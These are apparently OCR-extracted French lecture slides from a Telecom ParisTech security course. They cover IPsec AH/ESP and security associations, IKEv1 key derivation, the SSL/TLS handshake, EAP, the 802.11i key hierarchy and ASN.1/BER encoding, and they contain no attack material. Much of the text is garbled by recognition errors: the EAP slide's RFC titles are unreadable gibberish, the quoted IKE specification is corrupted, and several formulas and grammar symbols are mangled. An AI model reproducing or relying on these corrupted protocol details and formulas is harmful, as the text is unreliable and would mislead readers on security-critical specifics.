Bethencourt, Amit Sahai, Brent Waters, 2006 Parisiech
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+ Deux en tétes spécifiques sont utilisés, AH (IP Authentification
Header) et ESP (IP Encapsulating Security Payload).

+ AH garantit l’intégrité et [’authentification des datagrammes IP,
mais n’assure pas la confidentialité des données.

+ ESP est utilisé pour fournir ’intégrité, I’authentification et la
confidentialité des datagrammes IP.

TELECOM

ParisTech
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security Association

+ Ce concept est fondamental a la fois pour AH et ESP. La combinaison d’un SPI_
(Security Parameter Index) et d’une adresse de destination identifie de maniére
unique un SA particulier.

+ Une association de sécurité inclue usuellement les paramétres suivant :

Un algorithme d’authentification (utilisé pour AH).

La (les) clé(s) utilisée(s) par l’algorithme d’authentification.
L’algorithme de chiffrement utilisé par ESP.

La (les) clé(s) utilisée(s) par l’algorithme de chiffrement.
Divers parametres utiles a l’algorithme de chiffrement.
L’algorithme d’authentification utilisé avec ESP (s’il existe)
Les clés utilisées avec [’algorithme d’authentification d’ESP (si nécessaire).
La durée de vie de la clé.

La durée de vie du SA.

La ou les adresses de source du SA

Le niveau de sécurité (Secret, non classé ...)

+ Le systeme hote qui émet I’information sélectionne un SA en fonction du
destinataire. L’association de sécurité est de maniére générale mono
directionnelle.
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32 hits

Authentication Header

Next
Header

Payload
ength

RESERVED

Security Parameters Index (SPI)

Sequence Number Field

Authentication Data

(longueur variable)

174/198 Pr Pascal URIEN, Telecom ParisTech

TELECOM

ParisTech


http://www.telecom-paristech.fr/

Encapsulating Security Payload

32 bhits

>

Security Parameters Index (SPI)

Sequence Number Field

Payload Data

Padding

Pad Length

Next Header

Authentication Data

175/198 Pr Pascal URIEN, Telecom ParisTech

ESP
Header
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IPSEC: Mode Transport et Mode Tunnel

Mode transport

Header IP|Header ESP Données IP Trailer ESP|Auth. ESP
Chiffrement .
Authentification
Mode tunnel
Header IP|Header ESP|Header IP|| Données IP |[Trailer ESP||Auth. ESP

-
-

Chiffrement

Authentification

P
-

176/198 Pr Pascal URIEN, Telecom ParisTech
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Au sujet de IKEvt

+ Internet Key Exchange
+ RFC 2409, 1998

+ IKE PHASE 1 réalise une association de sécurité ISAKMP entre
deux systémes, qui protege les échanges de IKE phase 2

B 4 modes, Main Mode, Agressive Mode, Quick Mode, New
Group Mode

B Plusieurs protocoles d’échanges de clés
& Asymetriques, OAKLEY et SKEME
& Symetrique (Pre-Shared-Key)

+ IKE PHASE 2 réalise une association de sécurité pour des
sessions IPSEC

177/198 Pr Pascal URIEN, Telecom ParisTech ﬁﬁml
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IKEv1, Pre-Shared-Keys, Main Mode

Initiator Responder

—————————— e Echance

HDR, SA -—> chi ffré

<—- HDR, SA

HDR, KE, Ni ——>
________________________________________________ < - _HR, KE, Nr ____ ______ ¥ _____.
H HDR* , IDii, [ CERT, ] SIG I --> :
i T e HDR*, IDir, [ CERT, ] SIG R|
n 1

For pre-shared keys:
SKEYID = prf(pre-shared-key, Ni b | Nr b)

The result of either Main Mode or Aggressive Mode is three groups of
authenti cated keying material:

SKEYID d = prf(SKEYID, g*xy | CKY-I | CKY-R | 0)
SKEYID a = prf(SKEYID, SKEYID d | g*xy | CKY-I | CKY-R | 1)
SKEYID e = prf(SKEYID, SKEYID a | g*xy | CKY-I | CKY-R | 2)

and agreed upon policy to protect further commmnications. The values
of 0, 1, and 2 above are represented by a single octet. The key used
for encryption is derived from SKEYID e in an algorithm-specific
manner.

To authenticate either exchange the initiator of the protocol
generates HASH_I(SIG_I} and the responder generates HASH_R(SIG_R}

where:
HASH I — prf(SKEYID, g*xi | g*xr | CKY-I | CKY-R | SAi b | IDii b )
HASH R — prf(SKEYID, g*xr | g*xi | CKY-R | CKY-I | 8Ai b | IDir b )

541 b 1s the sntire body of the 54 pavlicad {minus the ISAEMP gensric header), 211
meosais and 211 transforms offered by the Initiator.

CRY-I and CKY-R are the Initiator's cookie and the Responder's cooklie, respectively, ’_'_]!'i:-:T@ci]
from the ISAFRMF header.
g*xl and g*xr ars the Diffise-Hellman public valuss of the initiator and respondsr —=1
respectively. -ﬁm'

TELECOM
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IKeV1, Phase I, Pre-Shared-Key, Quick Mode

Responder

Initiator

HDR*, HASH(1), SA, Ni [, KE ] [, IDeci, IDer ] -->
<-- HDR*, HASH(2), SA, Nr [, KE ] [, IDci, IDer]

HDR*, HASH(3) -->

HASH(1) = prf(SKEYID a, M-ID | SA | Ni [ | KE ] [ | IDci | IDcr ] )
HASH(2) = prf(SKEYID a, M-ID | Ni b | SA | Nr [ | KE] [ | IDci | IDcr ] )
HASH(3) = prf(SKEYID a, 0 | M-ID | Ni b | Nr_b)

KEYMAT = prf (SKEYID d, protocol | SPI | Ni b | Nr b)

IDci, IDcr, identités, les adresses IP en fait.
M-ID, identifiant du message, extrait de ’en téte [ISAKMP

TELECOM

ParisTech
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SSL/TLS

TELECOM

ParisTech
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+ SSL défini par netscape et intégré au browser
E Premiere version de SSL testé en interne
E Premiere version de SSL diffusé : V2 (1994)
E Version actuelle V3

+ Standard a | ’IETF au sein du groupe Transport Layer
Security (TLS)

TELECOM

ParisTech
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S9L: Services

+ Authentification
E Serveur (obligatoire), client (optionnel)
B Utilisation de certificat X509 V3
E A U’établissement de la session.
+ Confidentialité
E Al o,rithmle,de ﬁhiffremen esy{métrique négocié, clé

genere a ’éetablissement a session.
+ Intégrité
B Fonction de hachage avec clé secrete : HMAC(clé
secrete,Message)

+ Non Rejeu
E Numeéro de séquence

TELECOM

ParisTech
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SOL/TLS : Protocoles

v
SSL l ( Handshake
TLS ¥ :
C Alert D C‘LCCS D

L

C Record ]

TCP

TELECOM

ParisTech
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Record Layer

K .
“Rher | type | version | length
S
o Encrypted Data
HMAC
L
/ pad | pad length
KAuth

TELECOM
ParisTech
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PEER_

Client Hello (ClientRandom)

SSL/TLS, Dialogue te hase

SERVER

[
»

, s Server CA
Server’s Certificate | «pubs | JKPubCA

verR m

A

E 3

;
*Certificate | kpubC

CertificateRequest, ServerHelloDone

The Client’s identity is sent
in clear text

»
»

ClientKeyExchange {PreMasterSecret}Kp,,s

»

»
»

*CertificateVerify {MessagesDigest} Ko,

»
»

ChangeCipherSpec

Finished (Encrypted+Signed MessagesDigest)

ChangeCipherSpéc

A

Keys = PRF(ClientRandom, ServerRandom, MasterSecret,...)

185/198 Pr Pascal URIEN, Telecom ParisTech

Finished (Encr

MasterSecret= PRF(ClientRandom, ServerRandom, PreMasterSecret,...)

ted+Signed MessagesDigest

TELECOM

ParisTech
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EAP, what else 2

+ 'r]'he,Ei(tensi le Authentication Prﬁtocol (EAP) was introduced in 1999, in order to define a
lexible authentication framework.

B EAP, RFC 3748, "Extensible Authentication Protocol, (EAP)", June 2004.
& EAP-TLS, RFC 2716, "PPP EAP TLS Authentication Protocol“, 1999.

& LAP-SIM, RFC 4186, " ible Ayt ication Protocol hod_for Global System for Mobil
ommuriicatclons (GSNE%SBS&%SH Jﬁeenrmgaﬂggulerg (%%OP%?AS 00 006 0P 2ystem tor Mobtie

& EAP-AKA, RFC 4187, " Extensibl hentication Protocol Method for 3rd Generation Authentication
and Key Agreement (EE)IS-%,‘(SA) 9)’% Jentication Pro ion Au cati

+ EAP Applications.
B Wireless LAN
& Wi-Fi, IEEE 802.1x, 2001 _
& WiMAX mobile, IEEE 802.16e , PKM-EAP, 2006 ‘..57
B Wired LANs Y
& ETHERNET, IEEE 802.3 -2
& PPP, RFC 1661, “The Point-to-Point Protocol (PPP)”, 1994 — i
B VPN (Virtual Private Network) technologies .
& PPTP, Point-to-Point Tunneling Protocol (PPTP), RFC 2637 -_-,:—I
@& L2TP, Layer Two Tunneling Protocol (L2TP), RFC 2661 —
& |KEv2, RFC 4306, "Internet Key Exchange (IKEv2) Protocol“, 2005
B Authentication Server

& ﬁﬁ?ﬁgﬁtiggﬁgﬁj ?6‘&)% I(E%;{g;n}%fo%Authentication Dial In User Service) Support For Extensible

@& DIAMETER, RFC 4072, "Diameter Extensible Authentication Protocol Application*, 2005
E  Voice Over IP
@ UMA, Unlicensed Mobile Access, http://www.umatechnology.org
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Le protocole EAP.

+ EAP est concu pour transporter des scénarios
d authentification.

+ Quatre types de messages, requétes, réponses, succes, échec

1 Identity
2 Notification
3 NAK
1 Request 4 MDS5 challenge Packet

/4 {g ?jiggsgse 13 EAP-TLS Identfier ~_Packet
18 EAP-SI V /Length
4 Failure
2 3
O 1 2/3 456 78 012 3 45 6 8 9 0 1 4 56 78 901
B e o e e e s s E S e e S L e e Pl s H B e e e e e e Sl
| Code | Identifier | Length

+—+—+—+—+—+-+t—+—+—+—+—+—+—F—+—+—F—F+—+—F—F+—F—F—F—F—F -+ -+ -+ —+—+—+
| Type | Type-Data ...
R e e e e e e s S e

TELECOM

ParisTech
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. EAP-Start

>
EAP-Request.Identity

EAP-Response.ldentity Access-Request/EAP R
EAP-Request.Type Access-Challenge/EAP
<
Calcul EAP-Response.Type Access-Request/EAP JB.
Delacle ¥ *® EAP-S Calcul
Unicast o DUCESS ACFGSS‘AI‘(CCEP'[/EAP + De la clé
EAPoL-Key Unicast ey Unicast
<
Clé Globale

TELECOM

ParisTech
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IEEE 802.11i : Distribution des cleés

+ Four ways handshake (PTK).
+ Two ways hanshake (GTK).

a EAP-Request!Identity ‘

Access - Request/EAP

EAP - -
Response/ldentity o
EAP-Request/Type Access-Challenge/EAP
Calcul _
EAP-Response e Access-Request/EAP
de <—e P /Typ - >
PMK EAP-Sucess Access - Accept/EAP + PMK

‘EAPoL- Key/ANonce

> >

Calcul = PTK = MK || EK || TK
de _
PTK =EAF'0L Key/Install
\ EAPoL - Key/Install _
}.Protocole de sécurite RADIO v TELECOM

WEP - TKIP-WRAP - CCMP ParisTech
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802.11i: Hiérarchie des clés

+ PMK est déduite de ’authentification EAP.

+ PSK est une alternative a PMK.

+ GMK est une clé maitre de groupe.

Pairwise Master Key PMK / Pre Shared Key PSK

Group Master Key GMK

gl | |
Pairwise Temporal Key PTK Group Transie\ntZ Key (GTK)
11 1
KCK KEK TK TK
EAPOL-Key EAPOL-Key Temporal Key Temporal Key
Confirmation Key Encryption Key TKIP: 256 bits TKIP 256 bits
128 bits 128 bits CCMP:128 bits CCMP: 128 bits

191/198 Pr Pascal URIEN, Telecom ParisTech
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+ L’Abstract Syntax Notation One normalisé
par [’ISO est une syntaxe de transfert de
données et comporte les éléments suivants:

B Les types primitifs
B Les constructeurs

I At Bt 2 5
Les etig 2
d'étiquette Nombre

192/198 Pr Pascal URIEN, Telecomn ransiecn

N

0 si c'est un type primitif
1 si c’est un type construit

00 UNIVERSAL

01 APPLICATION

10 Spécifique au contexte
11 PRIVATE

ASN.1

TELECOM

ParisTech
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ASN.1- Les types primitifs

+ INTEGER entier de longueur Te ____Pimine
arbitraire p—
BIT STRING
OCTET STRING

NULL

+ BOOLEAN vrai-faux
+ BIT STRING liste de bits ORJECT DENTFER
£+ OCTET STRING liste d’octets 8| exTeRNAL

16 SEQUENCE et SEQUENCE OF

Njoiton|laejwn

17 SET et SET OF

+ ANY ensemble de tout type PR e ———

y b . 19 PrintableString
+ OBJECT IDENTIFIER nom d’objet P E
21 VideotexString
22 IASString
23 GeneralizedString
24 UTCTime
25 GraphicString
27 GeneralString

193/198 Pr Pascal URIEN, Telecom ParisTech
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+

ASN.1- Les constructeurs

Les types primitifs peuvent étre combinés pour
construire des types plus complexes

SEQUENCE collection ordonnée d’éléments de types
divers

SEQUENCE OF collection ordonnée d’éléments de méme
type

SET collection désordonnée d’éléments de divers type
SET OF collection désordonnée d’éléments de méme
type.

CHOICE choix d’un type parmi une liste donnée.

TELECOM

ParisTech
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ASN.1- Les etiguettes (Tays)

+ Les types sont dotés d’une étiquette (tag).

+ Un tag comporte deux parties notées [classe entier]
B La classe: UNIVERSAL, APPLICATION, PRIVATE, CONTEXT-SPECIFIC
B un nombre entier

+ Lorsque le tag apparait sans classe ([entier]) la classe par défaut est
CONTEXT-SPECIFIC

+ Exemples
B [UNIVERSAL 1] BOOLEAN
B [UNIVERSAL 2] INTEGER

+ Le mot clé IMPLICITE placé avant une étiquette permet de supprimer
le type des informations étiquetées (exemple [PRIVATE 1] IMPLICITE
INTEGER ). Cette fonctionnalité est utilisée pour réduire la taille des
informations transferées.
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ASN.1- Syntaxe

+ Le symbole ::= décrit une régle de production
+ Le symbole | sépare les alternatives
+ Exemple :

B Id_Object ::= OBJECT IDENTIFIER

B Chiffre :i=«0»l«2»1«3»

E Class ::= UNIVERSAL | APPLICATION [ PRIVATE |
VIDE

TELECOM

ParisTech
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ASN.1- Binary Encoding Rules BER

+ Chaque valeur transmise contient 4 champs

B l'identificateur (type ou étiquette).

B la longueur en octets du champ de données
B le champ de données
I

le fanion de fin de données si la longueur est
inconnue.

+ Ce type de syntaxe est dit TLV (Type Longueur Valeur).

TELECOM

ParisTech
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ASN.1- Divers Encodage

+ Encodage de ’identificateur
B pour un nombre <= 30
& b8b7 b6 b5b4b3b2b1
& Class P/C nombre
B pour un nombre > 30
& b8b7 b6 b5b4b3b2b1

& Class P/C 111 11
& b8 b7 b6 b5 b4 b3 b2 b1
& b8=1 nombre
& b8=0 nombre fin
+ Class
B 00 universal - 01 application - 10 context-specific - 11 private
+ P/C

B O primitif 1 construit
+ Encodage de la lohgueur
B Forme courte b8=0
B Forme longue b8=1, b7...b1=longueur N en octets de la longueur + N octets.
B Forme indéfinie 10000000..valeurs.. 00000000 00000000
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